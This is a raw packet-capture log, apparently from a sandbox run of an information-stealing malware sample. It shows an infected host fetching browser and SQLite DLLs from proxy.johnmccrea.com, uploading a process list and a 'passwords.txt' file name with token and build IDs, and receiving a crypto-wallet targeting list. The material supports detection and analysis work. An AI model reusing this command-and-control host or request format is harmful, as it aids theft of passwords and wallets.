Oct 6, 2024 22:33:07.713983059 CEST	1236	OUT	Data Raw: 68 65 53 42 42 5a 47 46 77 64 47 56 79 43 67 70 62 55 48 4a 76 59 32 56 7a 63 32 56 7a 58 51 70 54 65 58 4e 30 5a 57 30 4b 55 6d 56 6e 61 58 4e 30 63 6e 6b 4b 63 32 31 7a 63 79 35 6c 65 47 55 4b 59 33 4e 79 63 33 4d 75 5a 58 68 6c 43 6e 64 70 62 Data Ascii: heSBBZGFwdGVyCgpbUHJvY2Vzc2VzXQpTeXN0ZW0KUmVnaXN0cnkKc21zcy5leGUKY3Nyc3MuZXhlCndpbmluaXQuZXhlCmNzcnNzLmV4ZQp3aW5sb2dvbi5leGUKc2VydmljZXMuZXhlCmxzYXNzLmV4ZQpzdmNob3N0LmV4ZQpmb250ZHJ2aG9zdC5leGUKZm9udGRydmhvc3QuZXhlCnN2Y2hvc3QuZXhlCnN2Y2hvc3QuZX
Oct 6, 2024 22:33:07.714004040 CEST	1236	OUT	Data Raw: 4b 55 6e 56 75 64 47 6c 74 5a 55 4a 79 62 32 74 6c 63 69 35 6c 65 47 55 4b 63 33 5a 6a 61 47 39 7a 64 43 35 6c 65 47 55 4b 63 33 5a 6a 61 47 39 7a 64 43 35 6c 65 47 55 4b 5a 47 78 73 61 47 39 7a 64 43 35 6c 65 47 55 4b 63 32 31 68 63 6e 52 7a 59 Data Ascii: KUnVudGltZUJyb2tlci5leGUKc3ZjaG9zdC5leGUKc3ZjaG9zdC5leGUKZGxsaG9zdC5leGUKc21hcnRzY3JlZW4uZXhlCnN2Y2hvc3QuZXhlCldtaVBydlNFLmV4ZQpUZXh0SW5wdXRIb3N0LmV4ZQphdWRpb2RnLmV4ZQpSdW50aW1lQnJva2VyLmV4ZQpSdW50aW1lQnJva2VyLmV4ZQpzdmNob3N0LmV4ZQpBcHBsaWNhdG
Oct 6, 2024 22:33:08.384277105 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:08.386457920 CEST	103	OUT	GET //sql.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:08.566991091 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:08 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 6, 2024 22:33:10.510368109 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHC Host: proxy.johnmccrea.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:11.255088091 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:11.359239101 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDG Host: proxy.johnmccrea.com Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:12.075206041 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:12.097445011 CEST	624	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF Host: proxy.johnmccrea.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 [TRUNCATED] Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file_data"------CGHCGIIDGDAKFIEBKFCF--
Oct 6, 2024 22:33:12.828203917 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:12.929569960 CEST	624	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: proxy.johnmccrea.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b [TRUNCATED] Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="file_data"------BKECBAKFBGDGCBGDBAEC--
Oct 6, 2024 22:33:13.657309055 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:13.696091890 CEST	107	OUT	GET //freebl3.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:13.877485991 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:13 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 6, 2024 22:33:14.762595892 CEST	107	OUT	GET //mozglue.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:14.944438934 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:14 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 6, 2024 22:33:15.321187019 CEST	108	OUT	GET //msvcp140.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:15.502000093 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:15 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 6, 2024 22:33:15.787342072 CEST	108	OUT	GET //softokn3.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:15.968915939 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:15 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 6, 2024 22:33:16.078044891 CEST	112	OUT	GET //vcruntime140.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:16.258946896 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:16 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 6, 2024 22:33:16.356462002 CEST	104	OUT	GET //nss3.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:16.538664103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:16 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 6, 2024 22:33:18.468600035 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAA Host: proxy.johnmccrea.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:19.188290119 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:19.487812042 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="mode"3------BGCAAFHIEBKJKEBFIEHD--
Oct 6, 2024 22:33:20.043328047 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 